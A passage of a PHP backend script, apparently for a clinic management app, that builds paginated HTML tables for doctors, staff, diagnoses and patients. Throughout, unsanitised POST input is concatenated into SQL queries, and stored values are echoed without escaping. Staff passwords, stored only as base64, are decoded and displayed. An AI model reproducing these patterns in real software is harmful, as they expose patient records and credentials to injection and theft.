        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-pupil') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_pupil` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `pupilId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['pupilId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;pupil.php?id='.base64_encode($row['pupilId']).'&quot; onclick=&quot;updateData('.$row['pupilId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['pupilId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-lens') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_lens` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `lensId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['lensId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;lens.php?id='.base64_encode($row['lensId']).'&quot; onclick=&quot;updateData('.$row['lensId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['lensId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-em') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_em` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `emId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['emId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;em.php?id='.base64_encode($row['emId']).'&quot; onclick=&quot;updateData('.$row['emId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['emId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-covertest') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_covertest` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `covertestId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['covertestId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;covertest.php?id='.base64_encode($row['covertestId']).'&quot; onclick=&quot;updateData('.$row['covertestId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['covertestId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-disc') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_disc` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `discId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['discId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;disc.php?id='.base64_encode($row['discId']).'&quot; onclick=&quot;updateData('.$row['discId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['discId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-fr') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_fr` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `frId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['frId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;fr.php?id='.base64_encode($row['frId']).'&quot; onclick=&quot;updateData('.$row['frId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['frId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-doctor') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_doctor` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `doctorName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `doctorId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['doctorId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['doctorName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['email'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['contact'].'&lt;/td&gt;
                    &lt;td&gt;'.base64_decode($row['password']).'&lt;/td&gt;
                    &lt;td&gt;'.$row['doctorStatus'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;doctor.php?id='.base64_encode($row['doctorId']).'&quot; onclick=&quot;updateData('.$row['doctorId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['doctorId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-reception') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_reception` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `receptionName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `receptionId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['receptionId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['receptionName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['email'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['contact'].'&lt;/td&gt;
                    &lt;td&gt;'.base64_decode($row['password']).'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;reception.php?id='.base64_encode($row['receptionId']).'&quot; onclick=&quot;updateData('.$row['receptionId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['receptionId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-referedBy') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_referrer` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `referedBy` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `referrerId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['referrerId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['referedBy'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;referedBy.php?id='.base64_encode($row['referrerId']).'&quot; onclick=&quot;updateData('.$row['referrerId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['referrerId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-chiefComplaint') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_chief_complaint` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `ccId` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `ccId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['ccId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['complaint'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;chiefComplaint.php?id='.base64_encode($row['ccId']).'&quot; onclick=&quot;updateData('.$row['ccId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['ccId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-diagnosis') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_diagnosis` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `diagnosisId` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `diagnosisId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['diagnosisId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['diagnosis'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;diagnosis.php?id='.base64_encode($row['diagnosisId']).'&quot; onclick=&quot;updateData('.$row['diagnosisId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['diagnosisId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-specialAdvice') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_advice` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `adviceId` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `adviceId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['adviceId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['advice'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;specialAdvice.php?id='.base64_encode($row['adviceId']).'&quot; onclick=&quot;updateData('.$row['adviceId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['adviceId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-categoryIndex') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        // $query = &quot;SELECT tbl_patient.*,tbl_city.cityName AS city, tbl_doctor.doctorName AS doctor FROM
        //             tbl_patient 
        //             LEFT JOIN tbl_city ON tbl_patient.cityId = tbl_city.cityId 
        //             LEFT JOIN tbl_doctor ON tbl_patient.doctorId = tbl_doctor.doctorId
        //             WHERE tbl_patient.deleteStatus = '0'&quot;; // simplified query

        $query = &quot;SELECT
                    tbl_patient.*,
                    tbl_patient.dateTimeAdded AS dd,
                    tbl_location.city AS city,
                    tbl_doctor.doctorName AS doctor,
                    ROW_NUMBER() OVER (
                        PARTITION BY tbl_doctor.doctorId 
                        ORDER BY tbl_patient.patientId
                    ) AS patient_index
                FROM
                    tbl_patient
                LEFT JOIN tbl_location ON tbl_patient.locationId = tbl_location.id
                LEFT JOIN tbl_doctor ON tbl_patient.doctorId = tbl_doctor.doctorId
                WHERE
                    tbl_patient.deleteStatus = '0'
                    AND DATE(tbl_patient.appointmentDate) = CURDATE()&quot;;

        if (!empty($search)) {
            $query .= &quot; AND `contactNo` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `patientId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $time = date(&quot;H:i:s&quot;, strtotime($row['dd']));
                $i++;

                echo '&lt;tr id=&quot;rowId'.$row['patientId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['firstName'].' '.$row['middleName'].' '.$row['lastName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['city'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['contactNo'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['age'].'&lt;/td&gt;
                    &lt;td&gt;'.$time.'&lt;/td&gt;
                    &lt;td&gt;'.$row['doctor'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['patient_index'].'&lt;/td&gt;';

                    if ($row['online_offline'] == 0) {
                        echo '&lt;td&gt;
                                &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;printData(' . htmlspecialchars(json_encode($row), ENT_QUOTES, 'UTF-8') . ')&quot; class=&quot;btn btn-sm btn-primary mlbtn-5 auto-click&quot; data-patient-id=&quot;'.$row['patientId'].'&quot;&gt;&lt;i class=&quot;feather-printer&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                              &lt;/td&gt;';
                    } else {
                        echo '&lt;td&gt;
                                wait
                              &lt;/td&gt;';
                    }

             echo'&lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;9&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    
    if ($status == 'search-district') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT tbl_district.*,tbl_state.* FROM tbl_district 
                    JOIN tbl_state ON tbl_district.stateId = tbl_state.stateId WHERE tbl_district.deleteStatus = '0'&quot;;

        if (!empty($search)) {
            $query .= &quot; AND `districtName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `districtId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['districtId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['districtName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['stateName'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;district.php?id='.base64_encode($row['districtId']).'&quot; onclick=&quot;updateData('.$row['districtId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['districtId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
